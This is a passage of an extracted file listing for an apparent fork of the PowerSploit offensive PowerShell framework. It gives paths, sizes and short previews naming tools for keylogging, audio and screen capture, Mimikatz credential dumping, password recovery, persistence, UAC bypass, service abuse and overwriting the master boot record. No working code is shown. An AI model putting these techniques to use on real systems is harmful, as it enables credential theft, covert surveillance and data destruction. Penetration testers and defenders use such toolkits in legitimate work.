"preview": "function Get-GPPPassword {\n<#\n.SYNOPSIS\n\nRetrieves the plaintext password and other information for accounts pushed thro"
},
{
"path": "Exfiltration/Get-Keystrokes.ps1",
"chars": 16512,
"preview": "function Get-Keystrokes {\n<#\n.SYNOPSIS\n\n Logs keys pressed, time and the active window.\n \n PowerSploit Function"
},
{
"path": "Exfiltration/Get-MicrophoneAudio.ps1",
"chars": 7366,
"preview": "function Get-MicrophoneAudio {\r\n<#\r\n.SYNOPSIS\r\nRecords audio from the microphone and saves to a file on disk\r\nAuthor: Ju"
},
{
"path": "Exfiltration/Get-TimedScreenshot.ps1",
"chars": 3696,
"preview": "function Get-TimedScreenshot\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nTakes screenshots at a regular interval and saves them to disk.\r\n\r\nPow"
},
{
"path": "Exfiltration/Get-VaultCredential.ps1",
"chars": 20326,
"preview": "function Get-VaultCredential\n{\n<#\n.SYNOPSIS\n\nDisplays Windows vault credential objects including cleartext web credentia"
},
{
"path": "Exfiltration/Get-VaultCredential.ps1xml",
"chars": 1454,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<Configuration>\n <ViewDefinitions>\n <View>\n <Name>VaultItem"
},
{
"path": "Exfiltration/Invoke-CredentialInjection.ps1",
"chars": 453570,
"preview": "function Invoke-CredentialInjection\n{\n <#\n .SYNOPSIS\n\n This script allows an attacker to create logons with cle"
},
{
"path": "Exfiltration/Invoke-Mimikatz.ps1",
"chars": 2204117,
"preview": "function Invoke-Mimikatz\n{\n<#\n.SYNOPSIS\n\nThis script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflecti"
},
{
"path": "Exfiltration/Invoke-NinjaCopy.ps1",
"chars": 443650,
"preview": "function Invoke-NinjaCopy\n{\n<#\n.SYNOPSIS\n\nThis script can copy files off an NTFS volume by opening a read handle to the "
},
{
"path": "Exfiltration/Invoke-TokenManipulation.ps1",
"chars": 94704,
"preview": "function Invoke-TokenManipulation\n{\n<#\n.SYNOPSIS\n\nThis script requires Administrator privileges. It can enumerate the Lo"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp",
"chars": 4213,
"preview": "// LogonUser.cpp : Defines the entry point for the console application.\n//\n\n#include \"stdafx.h\"\n\nusing namespace std;\n\ns"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj",
"chars": 7828,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters",
"chars": 1296,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt",
"chars": 1689,
"preview": "========================================================================\n CONSOLE APPLICATION : LogonUser Project Ove"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp",
"chars": 288,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// LogonUser.pch will be the pre-compiled header\n//"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h",
"chars": 387,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "Exfiltration/LogonUser/LogonUser/LogonUser.sln",
"chars": 1208,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2012\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt",
"chars": 2106,
"preview": "========================================================================\n DYNAMIC LINK LIBRARY : logon Project Overvi"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp",
"chars": 391,
"preview": "// dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n\nBOOL APIENTRY DllMain( HMODULE hM"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/logon.cpp",
"chars": 8150,
"preview": "// logon.cpp : Defines the exported functions for the DLL application.\n//\n\n#include \"stdafx.h\"\n\nusing namespace std;\n\nsi"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj",
"chars": 9140,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.micros"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters",
"chars": 1383,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp",
"chars": 284,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// logon.pch will be the pre-compiled header\n// std"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/stdafx.h",
"chars": 579,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "Exfiltration/LogonUser/LogonUser/logon/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFS.h",
"chars": 790,
"preview": "/*\n * NTFS include files\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/include file is free "
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp",
"chars": 1597,
"preview": "/*\n * \n * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek\n *\n * This program/include file is free software; you can r"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj",
"chars": 7984,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters",
"chars": 1764,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h",
"chars": 38460,
"preview": "/*\n * NTFS Attribute Classes\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/include file is f"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h",
"chars": 6994,
"preview": "/*\n * NTFS Class common definitions\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/include fi"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h",
"chars": 11661,
"preview": "/*\n * NTFS data structures and definitions\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/inc"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h",
"chars": 24011,
"preview": "/*\n * NTFS Volume and File Record Class\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/includ"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/ReadMe.txt",
"chars": 1696,
"preview": "========================================================================\n CONSOLE APPLICATION : NTFSParser Project Ov"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/stdafx.cpp",
"chars": 289,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// NTFSParser.pch will be the pre-compiled header\n/"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/stdafx.h",
"chars": 361,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "Exfiltration/NTFSParser/NTFSParser.sln",
"chars": 1232,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2012\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h",
"chars": 790,
"preview": "/*\n * NTFS include files\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/include file is free "
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp",
"chars": 3795,
"preview": "/*\n * \n * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek\n *\n * This program/include file is free software; you can r"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj",
"chars": 8817,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters",
"chars": 1391,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h",
"chars": 38460,
"preview": "/*\n * NTFS Attribute Classes\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/include file is f"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h",
"chars": 6994,
"preview": "/*\n * NTFS Class common definitions\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/include fi"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h",
"chars": 11661,
"preview": "/*\n * NTFS data structures and definitions\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/inc"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h",
"chars": 24011,
"preview": "/*\n * NTFS Volume and File Record Class\n * \n * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>\n *\n * This program/includ"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt",
"chars": 2162,
"preview": "========================================================================\n DYNAMIC LINK LIBRARY : NTFSParserDLL Projec"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp",
"chars": 1089,
"preview": "/*\n * \n * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek\n *\n * This program/include file is free software; you can r"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp",
"chars": 292,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// NTFSParserDLL.pch will be the pre-compiled heade"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h",
"chars": 441,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "Exfiltration/NTFSParser/NTFSParserDLL/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "Exfiltration/Out-Minidump.ps1",
"chars": 3616,
"preview": "function Out-Minidump\n{\n<#\n.SYNOPSIS\n\n Generates a full-memory minidump of a process.\n\n PowerSploit Function: Out-"
},
{
"path": "Exfiltration/Usage.md",
"chars": 767,
"preview": "To install this module, drop the entire Exfiltration folder into one of your module directories. The default PowerShell "
},
{
"path": "Exfiltration/VolumeShadowCopyTools.ps1",
"chars": 9559,
"preview": "function Get-VolumeShadowCopy\n{\n<#\n.SYNOPSIS\n\n Lists the device paths of all local volume shadow copies.\n\n PowerSp"
},
{
"path": "LICENSE",
"chars": 1590,
"preview": "PowerSploit is provided under the 3-clause BSD license below.\r\n\r\n*******************************************************"
},
{
"path": "Mayhem/Mayhem.psd1",
"chars": 743,
"preview": "@{\n\n# Script module or binary module file associated with this manifest.\nModuleToProcess = 'Mayhem.psm1'\n\n# Version numb"
},
{
"path": "Mayhem/Mayhem.psm1",
"chars": 13006,
"preview": "function Set-MasterBootRecord\n{\n<#\n.SYNOPSIS\n\nProof of concept code that overwrites the master boot record with the\nmess"
},
{
"path": "Mayhem/Usage.md",
"chars": 738,
"preview": "To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module"
},
{
"path": "Persistence/Persistence.psd1",
"chars": 763,
"preview": "@{\n\n# Script module or binary module file associated with this manifest.\nModuleToProcess = 'Persistence.psm1'\n\n# Version"
},
{
"path": "Persistence/Persistence.psm1",
"chars": 39078,
"preview": "function New-ElevatedPersistenceOption\n{\n<#\n.SYNOPSIS\n\nConfigure elevated persistence options for the Add-Persistence fu"
},
{
"path": "Persistence/Usage.md",
"chars": 583,
"preview": "To install this module, drop the entire ScriptModification folder into one of your module directories. The default Power"
},
{
"path": "PowerSploit.psd1",
"chars": 5278,
"preview": "@{\n# Script module or binary module file associated with this manifest.\nModuleToProcess = 'PowerSploit.psm1'\n\n# Version "
},
{
"path": "PowerSploit.psm1",
"chars": 149,
"preview": "Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and !('Tests','docs' -contains $_.Name) } | % { Import-Module $_.Ful"
},
{
"path": "PowerSploit.pssproj",
"chars": 15644,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microso"
},
{
"path": "PowerSploit.sln",
"chars": 969,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 14\nVisualStudioVersion = 14.0.23107.0\nMini"
},
{
"path": "Privesc/Get-System.ps1",
"chars": 26768,
"preview": "function Get-System {\n<#\n.SYNOPSIS\n\nGetSystem functionality inspired by Meterpreter's getsystem.\n\nAuthor: Will Schroeder"
},
{
"path": "Privesc/PowerUp.ps1",
"chars": 600580,
"preview": "<#\n\nPowerUp aims to be a clearinghouse of common Windows privilege escalation\nvectors that rely on misconfigurations. Se"
},
{
"path": "Privesc/Privesc.psd1",
"chars": 1659,
"preview": "@{\n\n# Script module or binary module file associated with this manifest.\nModuleToProcess = 'Privesc.psm1'\n\n# Version num"
},
{
"path": "Privesc/Privesc.psm1",
"chars": 67,
"preview": "Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}\n"
},
{
"path": "Privesc/README.md",
"chars": 4569,
"preview": "To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell modul"
},
{
"path": "README.md",
"chars": 10305,
"preview": "Forked to add a few features to PowerView.ps1 that I commonly perform manually\n\n## This project is no longer supported\n\n"
},
{
"path": "Recon/Dictionaries/admin.txt",
"chars": 3099,
"preview": "admin1.php\r\nadmin.asp\r\nadmin/account.asp\r\nadmin/account.html\r\nadmin/account.php\r\nadmin/controlpanel.asp\r\nadmin/controlpa"
},
{
"path": "Recon/Dictionaries/sharepoint.txt",
"chars": 2709,
"preview": "_catalogs/masterpage/Forms/AllItems.aspx\r\n_catalogs/wp/Forms/AllItems.aspx\r\n_catalogs/wt/Forms/Common.aspx\r\n_layouts/103"
},
{
"path": "Recon/Get-ComputerDetail.ps1",
"chars": 17708,
"preview": "function Get-ComputerDetail\n{\n<#\n.SYNOPSIS\n\nThis script is used to get useful information from a computer.\n\nFunction: Ge"
},
{
"path": "Recon/Get-HttpStatus.ps1",
"chars": 3592,
"preview": "function Get-HttpStatus\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nReturns the HTTP Status Codes and full URL for specified paths.\r\n\r\nPowerSpl"
},
{
"path": "Recon/Invoke-CompareAttributesForClass.ps1",
"chars": 32637,
"preview": "function Get-AllAttributesForClass\n{<#\n.Synopsis\n Gets all AD Schema attributes for class\n.DESCRIPTION\n This functi"
},
{
"path": "Recon/Invoke-Portscan.ps1",
"chars": 44677,
"preview": "function Invoke-Portscan\n{\n<#\n.SYNOPSIS\n\nSimple portscan module\n\nPowerSploit Function: Invoke-Portscan \nAuthor: Rich Lu"
},
{
"path": "Recon/Invoke-ReverseDnsLookup.ps1",
"chars": 8085,
"preview": "function Invoke-ReverseDnsLookup\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nPerform a reverse DNS lookup scan on a range of IP addresses.\r\n\r\nP"
},
{
"path": "Recon/PowerView.ps1",
"chars": 904779,
"preview": "#requires -version 2\n\n<#\n\nPowerSploit File: PowerView.ps1\nAuthor: Will Schroeder (@harmj0y)\nLicense: BSD 3-Clause\nRequir"
},
{
"path": "Recon/README.md",
"chars": 10377,
"preview": "To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module "
},
{
"path": "Recon/Recon.psd1",
"chars": 3146,
"preview": "@{\r\n\r\n# Script module or binary module file associated with this manifest.\r\nModuleToProcess = 'Recon.psm1'\r\n\r\n# Version "
},
{
"path": "Recon/Recon.psm1",
"chars": 67,
"preview": "Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}\n"
},
{
"path": "ScriptModification/Out-CompressedDll.ps1",
"chars": 2486,
"preview": "function Out-CompressedDll\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nCompresses, Base-64 encodes, and outputs generated code to load a manage"
},
{
"path": "ScriptModification/Out-EncodedCommand.ps1",
"chars": 7792,
"preview": "function Out-EncodedCommand\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nCompresses, Base-64 encodes, and generates command-line output for a Po"
},
{
"path": "ScriptModification/Out-EncryptedScript.ps1",
"chars": 5159,
"preview": "function Out-EncryptedScript\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nEncrypts text files/scripts.\r\n\r\nPowerSploit Function: Out-EncryptedScr"
},
{
"path": "ScriptModification/Remove-Comment.ps1",
"chars": 5159,
"preview": "function Remove-Comment\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nStrips comments and extra whitespace from a script.\r\n\r\nPowerSploit Function"
},
{
"path": "ScriptModification/ScriptModification.psd1",
"chars": 951,
"preview": "@{\r\n\r\n# Script module or binary module file associated with this manifest.\r\nModuleToProcess = 'ScriptModification.psm1'\r"
},
{
"path": "ScriptModification/ScriptModification.psm1",
"chars": 67,
"preview": "Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}\n"
},
{
"path": "ScriptModification/Usage.md",
"chars": 785,
"preview": "To install this module, drop the entire ScriptModification folder into one of your module directories. The default Power"
},
{
"path": "Tests/CodeExecution.tests.ps1",
"chars": 52571,
"preview": "Set-StrictMode -Version Latest\n\n$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent\n$ModuleRoot = Resolve-"
},
{
"path": "Tests/Exfiltration.tests.ps1",
"chars": 2450,
"preview": "Set-StrictMode -Version Latest\n\n$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent\n$ModuleRoot = Resolve-"
},
{
"path": "Tests/PowerSploit.tests.ps1",
"chars": 1448,
"preview": "Set-StrictMode -Version Latest\n\n$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent\n$ModuleRoot = Resolve-"
},
{
"path": "Tests/Privesc.tests.ps1",
"chars": 55867,
"preview": "Set-StrictMode -Version Latest\n\n$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent\n$ModuleRoot = Resolve-"
},
{
"path": "Tests/Recon.tests.ps1",
"chars": 21725,
"preview": "\n$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent\n$ModuleRoot = Resolve-Path \"$TestScriptRoot\\..\"\n$Modu"
},
{
"path": "docs/AntivirusBypass/Find-AVSignature.md",
"chars": 3690,
"preview": "# Find-AVSignature\r\n\r\n## SYNOPSIS\r\nLocate tiny AV signatures.\r\n\r\nPowerSploit Function: Find-AVSignature \r\nAuthors: Chri"
},
{
"path": "docs/CodeExecution/Invoke-DllInjection.md",
"chars": 1660,
"preview": "# Invoke-DllInjection\r\n\r\n## SYNOPSIS\r\nInjects a Dll into the process ID of your choosing.\r\n\r\nPowerSploit Function: Invok"
},
{
"path": "docs/CodeExecution/Invoke-ReflectivePEInjection.md",
"chars": 10667,
"preview": "# Invoke-ReflectivePEInjection\r\n\r\n## SYNOPSIS\r\nThis script has two modes.\r\nIt can reflectively load a DLL/EXE in to the "
},
{
"path": "docs/CodeExecution/Invoke-Shellcode.md",
"chars": 2647,
"preview": "# Invoke-Shellcode\r\n\r\n## SYNOPSIS\r\nInject shellcode into the process ID of your choosing or within the context of the ru"
},
{
"path": "docs/CodeExecution/Invoke-WmiCommand.md",
"chars": 8129,
"preview": "# Invoke-WmiCommand\r\n\r\n## SYNOPSIS\r\nExecutes a PowerShell ScriptBlock on a target computer using WMI as a\r\npure C2 chann"
},
{
"path": "docs/Mayhem/Set-CriticalProcess.md",
"chars": 1993,
"preview": "# Set-CriticalProcess\r\n\r\n## SYNOPSIS\r\nCauses your machine to blue screen upon exiting PowerShell.\r\n\r\nPowerSploit Functio"
},
{
"path": "docs/Mayhem/Set-MasterBootRecord.md",
"chars": 3930,
"preview": "# Set-MasterBootRecord\r\n\r\n## SYNOPSIS\r\nProof of concept code that overwrites the master boot record with the\r\nmessage of"
},
{
"path": "docs/Persistence/Add-Persistence.md",
"chars": 6698,
"preview": "# Add-Persistence\r\n\r\n## SYNOPSIS\r\nAdd persistence capabilities to a script.\r\n\r\nPowerSploit Function: Add-Persistence \r\n"
},
{
"path": "docs/Persistence/Get-SecurityPackage.md",
"chars": 605,
"preview": "# Get-SecurityPackage\r\n\r\n## SYNOPSIS\r\nEnumerates all loaded security packages (SSPs).\r\n\r\nAuthor: Matthew Graeber (@matti"
},
{
"path": "docs/Persistence/Install-SSP.md",
"chars": 1124,
"preview": "# Install-SSP\r\n\r\n## SYNOPSIS\r\nInstalls a security support provider (SSP) dll.\r\n\r\nAuthor: Matthew Graeber (@mattifestatio"
},
{
"path": "docs/Persistence/New-ElevatedPersistenceOption.md",
"chars": 5039,
"preview": "# New-ElevatedPersistenceOption\r\n\r\n## SYNOPSIS\r\nConfigure elevated persistence options for the Add-Persistence function."
},
{
"path": "docs/Persistence/New-UserPersistenceOption.md",
"chars": 3652,
"preview": "# New-UserPersistenceOption\r\n\r\n## SYNOPSIS\r\nConfigure user-level persistence options for the Add-Persistence function.\r\n"
},
{
"path": "docs/Privesc/Add-ServiceDacl.md",
"chars": 1575,
"preview": "# Add-ServiceDacl\r\n\r\n## SYNOPSIS\r\nAdds a Dacl field to a service object returned by Get-Service.\r\n\r\nAuthor: Matthew Grae"
},
{
"path": "docs/Privesc/Enable-Privilege.md",
"chars": 4171,
"preview": "# Enable-Privilege\r\n\r\n## SYNOPSIS\r\nEnables a specific privilege for the current process.\r\n\r\nAuthor: Will Schroeder (@har"
},
{
"path": "docs/Privesc/Find-PathDLLHijack.md",
"chars": 941,
"preview": "# Find-PathDLLHijack\r\n\r\n## SYNOPSIS\r\nFinds all directories in the system %PATH% that are modifiable by the current user."
},
{
"path": "docs/Privesc/Find-ProcessDLLHijack.md",
"chars": 2928,
"preview": "# Find-ProcessDLLHijack\r\n\r\n## SYNOPSIS\r\nFinds all DLL hijack locations for currently running processes.\r\n\r\nAuthor: Will "
},
{
"path": "docs/Privesc/Get-ApplicationHost.md",
"chars": 2698,
"preview": "# Get-ApplicationHost\r\n\r\n## SYNOPSIS\r\nRecovers encrypted application pool and virtual directory passwords from the appli"
},
{
"path": "docs/Privesc/Get-CachedGPPPassword.md",
"chars": 1906,
"preview": "# Get-CachedGPPPassword\r\n\r\n## SYNOPSIS\r\nRetrieves the plaintext password and other information for accounts pushed throu"
},
{
"path": "docs/Privesc/Get-ModifiablePath.md",
"chars": 2673,
"preview": "# Get-ModifiablePath\r\n\r\n## SYNOPSIS\r\nParses a passed string containing multiple possible file/folder paths and returns\r\n"
},
{
"path": "docs/Privesc/Get-ModifiableRegistryAutoRun.md",
"chars": 883,
"preview": "# Get-ModifiableRegistryAutoRun\r\n\r\n## SYNOPSIS\r\nReturns any elevated system autoruns in which the current user can\r\nmodi"
},
{
"path": "docs/Privesc/Get-ModifiableScheduledTaskFile.md",
"chars": 1015,
"preview": "# Get-ModifiableScheduledTaskFile\r\n\r\n## SYNOPSIS\r\nReturns scheduled tasks where the current user can modify any file\r\nin"
},
{
"path": "docs/Privesc/Get-ModifiableService.md",
"chars": 770,
"preview": "# Get-ModifiableService\r\n\r\n## SYNOPSIS\r\nEnumerates all services and returns services for which the current user can modi"
},
{
"path": "docs/Privesc/Get-ModifiableServiceFile.md",
"chars": 998,
"preview": "# Get-ModifiableServiceFile\r\n\r\n## SYNOPSIS\r\nEnumerates all services and returns vulnerable service files.\r\n\r\nAuthor: Wil"
},
{
"path": "docs/Privesc/Get-ProcessTokenGroup.md",
"chars": 4785,
"preview": "# Get-ProcessTokenGroup\r\n\r\n## SYNOPSIS\r\nReturns all SIDs that the current token context is a part of, whether they are d"
},
{
"path": "docs/Privesc/Get-ProcessTokenPrivilege.md",
"chars": 4007,
"preview": "# Get-ProcessTokenPrivilege\r\n\r\n## SYNOPSIS\r\nReturns all privileges for the current (or specified) process ID.\r\n\r\nAuthor:"
},
{
"path": "docs/Privesc/Get-RegistryAlwaysInstallElevated.md",
"chars": 997,
"preview": "# Get-RegistryAlwaysInstallElevated\r\n\r\n## SYNOPSIS\r\nChecks if any of the AlwaysInstallElevated registry keys are set.\r\n\r"
},
{
"path": "docs/Privesc/Get-RegistryAutoLogon.md",
"chars": 1030,
"preview": "# Get-RegistryAutoLogon\r\n\r\n## SYNOPSIS\r\nFinds any autologon credentials left in the registry.\r\n\r\nAuthor: Will Schroeder "
},
{
"path": "docs/Privesc/Get-ServiceDetail.md",
"chars": 1406,
"preview": "# Get-ServiceDetail\r\n\r\n## SYNOPSIS\r\nReturns detailed information about a specified service by querying the\r\nWMI win32_se"
},
{
"path": "docs/Privesc/Get-SiteListPassword.md",
"chars": 2702,
"preview": "# Get-SiteListPassword\r\n\r\n## SYNOPSIS\r\nRetrieves the plaintext passwords for found McAfee's SiteList.xml files.\r\nBased o"
},
{
"path": "docs/Privesc/Get-System.md",
"chars": 3947,
"preview": "# Get-System\r\n\r\n## SYNOPSIS\r\nGetSystem functionality inspired by Meterpreter's getsystem.\r\n'NamedPipe' impersonation doe"
},
{
"path": "docs/Privesc/Get-UnattendedInstallFile.md",
"chars": 778,
"preview": "# Get-UnattendedInstallFile\r\n\r\n## SYNOPSIS\r\nChecks several locations for remaining unattended installation files,\r\nwhich"
},
{
"path": "docs/Privesc/Get-UnquotedService.md",
"chars": 1039,
"preview": "# Get-UnquotedService\r\n\r\n## SYNOPSIS\r\nGet-UnquotedService Returns the name and binary path for services with unquoted pa"
},
{
"path": "docs/Privesc/Get-WebConfig.md",
"chars": 3227,
"preview": "# Get-WebConfig\r\n\r\n## SYNOPSIS\r\nThis script will recover cleartext and encrypted connection strings from all web.config\r"
},
{
"path": "docs/Privesc/Install-ServiceBinary.md",
"chars": 4484,
"preview": "# Install-ServiceBinary\r\n\r\n## SYNOPSIS\r\nReplaces the service binary for the specified service with one that executes\r\na "
},
{
"path": "docs/Privesc/Invoke-PrivescAudit.md",
"chars": 1203,
"preview": "# Invoke-PrivescAudit\r\n\r\n## SYNOPSIS\r\nExecutes all functions that check for various Windows privilege escalation opportu"
},
{
"path": "docs/Privesc/Invoke-ServiceAbuse.md",
"chars": 4670,
"preview": "# Invoke-ServiceAbuse\r\n\r\n## SYNOPSIS\r\nAbuses a function the current user has configuration rights on in order\r\nto add a "
},
{
"path": "docs/Privesc/Invoke-WScriptUACBypass.md",
"chars": 2070,
"preview": "# Invoke-WScriptUACBypass\r\n\r\n## SYNOPSIS\r\nPerforms the bypass UAC attack by abusing the lack of an embedded manifest in "
},
{
"path": "docs/Privesc/Restore-ServiceBinary.md",
"chars": 1831,
"preview": "# Restore-ServiceBinary\r\n\r\n## SYNOPSIS\r\nRestores a service binary backed up by Install-ServiceBinary.\r\n\r\nAuthor: Will Sc"
},
{
"path": "docs/Privesc/Set-ServiceBinaryPath.md",
"chars": 2430,
"preview": "# Set-ServiceBinaryPath\r\n\r\n## SYNOPSIS\r\nSets the binary path for a service to a specified value.\r\n\r\nAuthor: Will Schroed"
},
{
"path": "docs/Privesc/Test-ServiceDaclPermission.md",
"chars": 3075,
"preview": "# Test-ServiceDaclPermission\r\n\r\n## SYNOPSIS\r\nTests one or more passed services or service names against a given permissi"
}
]
// ... and 91 more files (download for full content)
About this extraction
This page contains the full source code of the ZeroDayLab/PowerSploit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 291 files (6.0 MB), approximately 1.6M tokens, and a symbol index with 183 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.